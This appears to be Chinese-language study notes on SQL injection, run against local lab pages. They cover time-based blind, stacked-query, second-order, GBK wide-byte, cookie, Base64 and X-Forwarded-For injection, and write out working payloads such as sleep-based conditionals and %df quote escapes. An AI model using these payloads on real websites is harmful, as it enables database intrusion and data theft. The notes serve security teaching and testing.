时间盲注
-
URL地址:http://127.0.0.1/sql/lime.php?id=1
-
情况与Boolean注入相似的另外一种注入方式
-
时间盲注多与if(expr1,expr2,expr3)结合使用
-
if含义是:如果expr1位TRUE,则返回expr2,否则返回expr3
-
判断数据库名长度
-
if(length(database())>1,sleep(5),1)
-
判断数据库名
-
if(substr(database()1,1)=‘s’,sleep(5),1)
堆叠查询注入
堆叠查询可以执行多条语句,多语句之间用分号分开,堆叠查询注入就是利用这个特点,在第二个sql语句中构造自己要执行的语句
-
首先访问 id=1’ ,页面返回MySQL错误
-
再访问id=1’%23,页面返回结果正常
-
这里,除了可以使用堆叠注入,还可以使用Boolean注入,时间注入
-
注入语句:
-
';select if(substr(user(),1,1)=‘r’,sleep(3) ,1)%23
二次注入攻击
- URL地址:http://127.0.0.1/er/1.php?username=test &
http://127.0.0.1/er/2.php?id=10
-
其中:
-
1.php功能是注册用户名,也是插入sql语句的地方
-
2.php功能是通过参数ID读取用户名和用户信息
-
-
通过向1.php注入参数,获得id,来带入2.php得到相应的数据
宽字节注入
-
URL地址:http://127.0.0.1/kzj.php?id=1
-
访问id=1’ ,程序没有报错,而是多了一个转移符""
-
从返回结果看出来,参数id=1在数据库查询时是被单引号包围的,当传入id=1’时,传入的单引号被转移符()转义,导致参数id无法逃逸单引号的包围,一般此处是不存在sql注入的,但是数据库编码是GBK时,可以使用宽字节注入
-
宽字节的格式是在地址后先加一个 %df
再加单引号(因为反斜杠的编码是%5c,在GBK编码中,%df%5c
是繁体字"連"所以这时,单引号逃逸,MySQL数据库报错) -
使用and1=1和and1=2继续注入
-
id=1%df’ and 1=1%23返回正常
-
id=1%df’ and 1=2%23返回错误
-
-
所以判断参数ID存在错误
-
接着使用order by 判断数据库表中的字段数量
-
id=1%df’ order by 3%23
-
最后,结合union注入,获取字段名
cookie注入
-
URL地址:http://127.0.0.1/cookie.php
-
URL中没有GET参数,但是通过burpsuite抓包发现,cookie中存在id=1
-
修改cookie中的参数id=1’ , id=1 and 1=1 , id=1 and
1=2观察页面返回信息,判断是否存在sql注入 -
然后使用union注入方法注入
Base64注入
-
URL地址:http://127.0.0.1/sql/base64/base64.php?id=MQ%3d%3d
-
从URL可以看出,ID参数经过base64编码,解码后,发现id=1
-
分别输入 id=1’ , id=1 and 1=1 , id=1 and 1=2
的base64编码,观察页面返回信息,判断是否存在sql注入 -
然后使用union注入方法注入
XFF注入
-
URL地址:http://127.0.0.1/sql/xff.php
-
通过burpsuite抓包,可以看到HTTP请求头有一个头部参数X-Forwarded-for(XFF)
-
他代表客户端真实ip,通过修改XFF头,伪造客户端ip
-
修改为127.0.0.1,访问,页面返回正常
-
修改为127.0.0.1’,访问,页面报错
-
修改为127.0.0.1’ and 1=1# 和127.0.0.1’ and 1=2#
-
-
然后使用union注入方法注入
宽字节注入,cookie注入,base64注入,XFF注入,只有发现过程不同,但是都属于union注入
时间盲注,堆叠查询注入,报错注入和Boolean注入,都可以通过观察页面返回值判断注入